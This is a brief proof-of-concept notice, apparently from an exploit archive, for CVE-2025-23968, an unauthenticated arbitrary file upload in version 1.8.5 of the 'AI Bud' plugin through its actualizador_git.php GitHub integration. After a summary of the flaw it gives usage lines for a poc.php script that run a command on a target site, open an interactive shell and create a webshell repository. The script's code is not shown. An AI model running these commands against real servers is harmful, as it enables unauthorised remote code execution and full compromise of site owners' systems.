    POC : 
    
    [+] References : https://packetstorm.news/files/id/210977/ & 	CVE-2025-23968
    
    [+] Summary : 
              
              an unauthenticated arbitrary file upload vulnerability in the AI Bud 1.8.5 plugin v 1.8.5 and earlier. 
    		  The vulnerability allows unauthenticated attackers to upload arbitrary files, including PHP webshells, by exploiting the GitHub integration functionality, leading to remote code execution and complete server compromise.
    	      The vulnerability exists in the actualizador_git.php file which provides unauthenticated access to download and execute files from arbitrary GitHub repositories without proper security controls.
    [+] POC :  
    
    # Execute a single command
    
    php poc.php -t https://target.com -o myuser -r myrepo -k ghp_xxx -c 'id'`
    
    # Interactive shell
    
    php poc.php -t https://target.com -o myuser -r myrepo -k ghp_xxx -i`
    
    # Create a shell for the repo
    
    php poc.php --create-shell`
